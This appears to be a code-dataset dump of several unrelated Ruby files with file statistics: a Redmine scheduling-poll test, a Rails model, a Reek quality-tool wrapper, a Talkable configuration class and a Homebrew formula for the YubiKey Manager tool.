fetcher = Redmine::Activity::Fetcher.new(User.find(2))
fetcher.scope = %w[scheduling_poll]
expected = SchedulingPoll.all.sort {|a,b| b.created_at <=> a.created_at }
assert_equal expected, fetcher.events(1.day.ago, Date.today + 1)
end
test "votes_by_user shall return all the votes which the user votes" do
scheduling_poll = SchedulingPoll.find(1)
user = User.find(1)
vote_id = SchedulingVote.arel_table[:id]
votes = SchedulingVote.where(vote_id.eq(1).or(vote_id.eq(2).or(vote_id.eq(3))))
assert_equal votes.sort, scheduling_poll.votes_by_user(user).sort
scheduling_poll = SchedulingPoll.find(1)
user = User.find(5)
assert_empty scheduling_poll.votes_by_user(user)
scheduling_poll = SchedulingPoll.find(2)
user = User.find(1)
assert_empty scheduling_poll.votes_by_user(user)
end
end
| 36.0125 | 155 | 0.742451 |
f772cea3b5da752c33b445b26dd4cc2666a432fd | 77 | class Comment < ApplicationRecord
belongs_to :board
belongs_to :user
end
| 15.4 | 33 | 0.792208 |
e89d581a6d6ecc8a8c9ea390ebf2b8df0192f808 | 632 | # frozen_string_literal: true
module Quality
module Tools
# Adds 'reek' tool support to quality gem
class Reek < Tool
def quality_reek
args = "--single-line #{ruby_files.join(' ')}"
ratchet_quality_cmd('reek',
args: args,
emacs_format: true,
gives_error_code_on_violations: true) do |line|
self.class.count_reek_violations(line)
end
end
def self.count_reek_violations(line)
if line =~ /^ .* (.*)$/
1
else
0
end
end
end
end
end
| 23.407407 | 75 | 0.509494 |
acfb2e477416172eae8f731d62a35ed7710ecb5a | 1,415 | module Talkable
class Configuration
DEFAULT_SERVER = 'https://www.talkable.com'.freeze
DEFAULT_TIMEOUT = 5
attr_accessor :site_slug
attr_accessor :api_key
attr_accessor :server
attr_accessor :read_timeout
attr_accessor :open_timeout
attr_accessor :js_integration_library
class UnknownOptionError < StandardError
end
def initialize
apply(default_configuration)
end
def apply(config)
config.each do |key, value|
if respond_to?("#{key}=")
public_send("#{key}=", value)
else
raise UnknownOptionError.new("There is no `#{key}` option")
end
end
end
def js_integration_library
@js_integration_library || default_js_integration_library
end
def reset
apply(default_configuration)
end
def timeout=(sec)
apply(read_timeout: sec, open_timeout: sec)
end
private
def default_js_integration_library
"//d2jjzw81hqbuqv.cloudfront.net/integration/clients/#{site_slug}.min.js"
end
def default_configuration
{
site_slug: ENV["TALKABLE_SITE_SLUG"],
api_key: ENV["TALKABLE_API_KEY"],
server: DEFAULT_SERVER,
read_timeout: DEFAULT_TIMEOUT,
open_timeout: DEFAULT_TIMEOUT,
js_integration_library: nil
}
end
end
end
| 23.583333 | 79 | 0.633922 |
b9369c3d113f00c18f289bad60b797be2ceab3c3 | 3,842 | class Ykman < Formula
include Language::Python::Virtualenv
desc "Tool for managing your YubiKey configuration"
homepage "https://developers.yubico.com/yubikey-manager/"
url "https://developers.yubico.com/yubikey-manager/Releases/yubikey-manager-3.1.1.tar.gz"
sha256 "68ef41ac3cd2e891019e755a492427ecdd63d8816525d05f2f32c37b8c440cfa"
license "BSD-2-Clause"
revision 2
head "https://github.com/Yubico/yubikey-manager.git"
livecheck do
url "https://developers.yubico.com/yubikey-manager/Releases/"
regex(/href=.*?yubikey-manager[._-]v?(\d+(?:\.\d+)+)\.t/i)
end
bottle do
cellar :any
sha256 "7e4c71dc6d2c85204e4e0adec57ecf2600e9b6805438f7f1dbb28f589b7eb6d3" => :big_sur
sha256 "52b8348e1263cdf8e51b06dd40085e3aef2be9d154355add21e99ba1e6660146" => :catalina
sha256 "6cdee1b430e53d5a3e2eec0d978bd6e2e6039e9afd31a80267b79cc4a11a6e85" => :mojave
sha256 "5ae0a850fab23bcabf5df6ed14ddd95568430bb6374777c637abecb805b26581" => :high_sierra
end
depends_on "swig" => :build
depends_on "libusb"
depends_on "[email protected]"
depends_on "[email protected]"
depends_on "ykpers"
uses_from_macos "libffi"
on_linux do
depends_on "pkg-config" => :build
depends_on "pcsc-lite"
end
resource "cffi" do
url "https://files.pythonhosted.org/packages/2d/bf/960e5a422db3ac1a5e612cb35ca436c3fc985ed4b7ed13a1b4879006f450/cffi-1.13.2.tar.gz"
sha256 "599a1e8ff057ac530c9ad1778293c665cb81a791421f46922d80a86473c13346"
end
resource "click" do
url "https://files.pythonhosted.org/packages/f8/5c/f60e9d8a1e77005f664b76ff8aeaee5bc05d0a91798afd7f53fc998dbc47/Click-7.0.tar.gz"
sha256 "5b94b49521f6456670fdb30cd82a4eca9412788a93fa6dd6df72c94d5a8ff2d7"
end
resource "cryptography" do
url "https://files.pythonhosted.org/packages/be/60/da377e1bed002716fb2d5d1d1cab720f298cb33ecff7bf7adea72788e4e4/cryptography-2.8.tar.gz"
sha256 "3cda1f0ed8747339bbdf71b9f38ca74c7b592f24f65cdb3ab3765e4b02871651"
end
resource "fido2" do
url "https://files.pythonhosted.org/packages/97/03/9ce85396423a4b9897cc3295a605b63dffd06940e65c1cccd51c2c016864/fido2-0.8.1.tar.gz"
sha256 "449068f6876f397c8bb96ebc6a75c81c2692f045126d3f13ece21d409acdf7c3"
end
resource "pycparser" do
url "https://files.pythonhosted.org/packages/68/9e/49196946aee219aead1290e00d1e7fdeab8567783e83e1b9ab5585e6206a/pycparser-2.19.tar.gz"
sha256 "a988718abfad80b6b157acce7bf130a30876d27603738ac39f140993246b25b3"
end
resource "pyOpenSSL" do
url "https://files.pythonhosted.org/packages/0d/1d/6cc4bd4e79f78be6640fab268555a11af48474fac9df187c3361a1d1d2f0/pyOpenSSL-19.1.0.tar.gz"
sha256 "9a24494b2602aaf402be5c9e30a0b82d4a5c67528fe8fb475e3f3bc00dd69507"
end
resource "pyscard" do
url "https://files.pythonhosted.org/packages/ed/dd/c575bb75122c250cbed3f70440cb8e25582bf991855bb4eb27371fb8d962/pyscard-1.9.9.tar.gz"
sha256 "e6bde541990183858740793806b1c7f4e798670519ae4c96145f35d5d7944c20"
end
resource "pyusb" do
url "https://files.pythonhosted.org/packages/5f/34/2095e821c01225377dda4ebdbd53d8316d6abb243c9bee43d3888fa91dd6/pyusb-1.0.2.tar.gz"
sha256 "4e9b72cc4a4205ca64fbf1f3fff39a335512166c151ad103e55c8223ac147362"
end
resource "six" do
url "https://files.pythonhosted.org/packages/94/3e/edcf6fef41d89187df7e38e868b2dd2182677922b600e880baad7749c865/six-1.13.0.tar.gz"
sha256 "30f610279e8b2578cab6db20741130331735c781b56053c59c4076da27f06b66"
end
def install
unless OS.mac?
ENV.prepend "CPPFLAGS", "-I#{Formula["libffi"].lib}/libffi-#{Formula["libffi"].version}/include"
resource("pyscard").stage do
ENV.append "CFLAGS", "-I#{Formula["pcsc-lite"].opt_include}/PCSC"
end
end
virtualenv_install_with_resources
end
test do
assert_match version.to_s, shell_output("#{bin}/ykman --version")
end
end
| 39.204082 | 140 | 0.789172 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.